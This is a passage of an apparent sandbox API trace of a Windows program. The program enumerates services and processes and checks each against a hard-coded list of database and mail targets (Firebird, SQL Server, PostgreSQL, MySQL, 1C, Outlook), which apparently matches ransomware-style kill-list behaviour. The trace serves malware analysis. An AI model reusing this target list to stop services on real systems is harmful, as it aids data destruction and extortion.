lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f30020, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0058.589] CloseServiceHandle (hSCObject=0x3298008) returned 1 [0058.589] lstrlenW (lpString="Appinfo") returned 7 [0058.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0058.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0058.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0058.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0058.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0058.589] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0058.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.590] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0058.590] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0058.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0058.590] lstrlenW (lpString="AudioSrv") returned 8 [0058.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0058.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0058.590] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0058.590] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0058.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0058.590] lstrlenW (lpString="BFE") returned 3 [0058.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0058.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0058.590] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0058.590] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0058.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0058.590] lstrlenW (lpString="CryptSvc") returned 8 [0058.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0058.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0058.590] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0058.590] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0058.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0058.590] lstrlenW (lpString="CscService") returned 10 [0058.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0058.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0058.590] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0058.590] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0058.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0058.590] lstrlenW (lpString="DcomLaunch") returned 10 [0058.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.591] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0058.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0058.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0058.591] lstrlenW (lpString="Dhcp") returned 4 [0058.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0058.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0058.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0058.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0058.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0058.591] lstrlenW (lpString="Dnscache") returned 8 [0058.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0058.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0058.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0058.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0058.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0058.591] lstrlenW (lpString="DPS") returned 3 [0058.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0058.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0058.591] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0058.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0058.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0058.591] lstrlenW (lpString="eventlog") returned 8 [0058.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0058.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0058.591] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0058.591] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0058.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0058.592] lstrlenW (lpString="EventSystem") returned 11 [0058.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0058.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0058.592] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0058.592] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0058.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0058.592] lstrlenW (lpString="gpsvc") returned 5 [0058.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0058.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0058.592] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0058.592] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0058.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0058.592] lstrlenW (lpString="iphlpsvc") returned 8 [0058.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.592] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0058.592] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0058.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0058.592] lstrlenW (lpString="LanmanServer") returned 12 [0058.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0058.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0058.592] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0058.592] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0058.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0058.592] lstrlenW (lpString="LanmanWorkstation") returned 17 [0058.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.592] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0058.592] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0058.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0058.593] lstrlenW (lpString="lmhosts") returned 7 [0058.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0058.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0058.593] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0058.593] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0058.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0058.593] lstrlenW (lpString="MMCSS") returned 5 [0058.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0058.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0058.593] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0058.593] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0058.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0058.593] lstrlenW (lpString="MpsSvc") returned 6 [0058.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0058.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0058.593] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0058.593] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0058.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0058.593] lstrlenW (lpString="Netman") returned 6 [0058.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0058.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0058.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0058.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0058.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0058.593] lstrlenW (lpString="netprofm") returned 8 [0058.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0058.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0058.593] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0058.593] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0058.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0058.594] lstrlenW (lpString="NlaSvc") returned 6 [0058.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0058.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0058.594] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0058.594] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0058.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0058.594] lstrlenW (lpString="nsi") returned 3 [0058.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0058.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0058.594] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0058.594] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0058.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0058.594] lstrlenW (lpString="PcaSvc") returned 6 [0058.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0058.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0058.594] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0058.594] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0058.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0058.594] lstrlenW (lpString="PlugPlay") returned 8 [0058.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0058.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0058.594] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0058.594] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0058.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0058.594] lstrlenW (lpString="Power") returned 5 [0058.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0058.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0058.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0058.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0058.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0058.595] lstrlenW (lpString="ProfSvc") returned 7 [0058.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0058.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0058.595] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0058.595] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0058.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0058.595] lstrlenW (lpString="RpcEptMapper") returned 12 [0058.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.595] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0058.595] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0058.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0058.595] lstrlenW (lpString="RpcSs") returned 5 [0058.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0058.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0058.595] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0058.595] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0058.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0058.595] lstrlenW (lpString="SamSs") returned 5 [0058.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0058.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0058.595] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0058.595] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0058.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0058.595] lstrlenW (lpString="Schedule") returned 8 [0058.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0058.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0058.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0058.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0058.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0058.596] lstrlenW (lpString="SENS") returned 4 [0058.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0058.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0058.596] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0058.596] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0058.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0058.596] lstrlenW (lpString="ShellHWDetection") returned 16 [0058.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.596] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0058.596] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0058.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0058.596] lstrlenW (lpString="Spooler") returned 7 [0058.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0058.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0058.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0058.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0058.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0058.596] lstrlenW (lpString="swprv") returned 5 [0058.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0058.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0058.596] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0058.596] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0058.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0058.596] lstrlenW (lpString="SysMain") returned 7 [0058.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0058.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0058.596] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0058.596] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0058.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0058.597] lstrlenW (lpString="Themes") returned 6 [0058.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0058.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0058.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0058.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0058.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0058.597] lstrlenW (lpString="TrkWks") returned 6 [0058.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0058.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0058.597] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0058.597] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0058.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0058.597] lstrlenW (lpString="UxSms") returned 5 [0058.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0058.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0058.597] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0058.597] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0058.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0058.597] lstrlenW (lpString="VSS") returned 3 [0058.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0058.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0058.597] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0058.597] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0058.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0058.597] lstrlenW (lpString="WdiServiceHost") returned 14 [0058.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.597] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0058.597] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0058.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0058.598] lstrlenW (lpString="WdiSystemHost") returned 13 [0058.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.598] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0058.598] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0058.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0058.598] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0058.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.598] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0058.598] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0058.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0058.598] lstrlenW (lpString="Winmgmt") returned 7 [0058.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0058.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0058.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0058.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0058.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0058.599] lstrlenW (lpString="WPDBusEnum") returned 10 [0058.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.599] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0058.599] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0058.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0058.599] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f30020 | out: hHeap=0x790000) returned 1 [0058.599] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0058.601] Process32FirstW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.602] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.602] lstrlenW (lpString="System") returned 6 [0058.602] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0058.602] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0058.602] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0058.602] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0058.602] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0058.602] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0058.602] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0058.602] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.602] lstrlenW (lpString="smss.exe") returned 8 [0058.603] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0058.603] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0058.603] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0058.603] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0058.603] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0058.603] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0058.603] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0058.603] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.603] lstrlenW (lpString="csrss.exe") returned 9 [0058.603] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0058.603] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0058.603] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0058.603] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0058.603] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0058.603] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0058.603] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0058.603] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.604] lstrlenW (lpString="wininit.exe") returned 11 [0058.604] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0058.604] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0058.604] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0058.604] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.605] lstrlenW (lpString="csrss.exe") returned 9 [0058.605] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.605] lstrlenW (lpString="winlogon.exe") returned 12 [0058.605] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.605] lstrlenW (lpString="services.exe") returned 12 [0058.605] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, 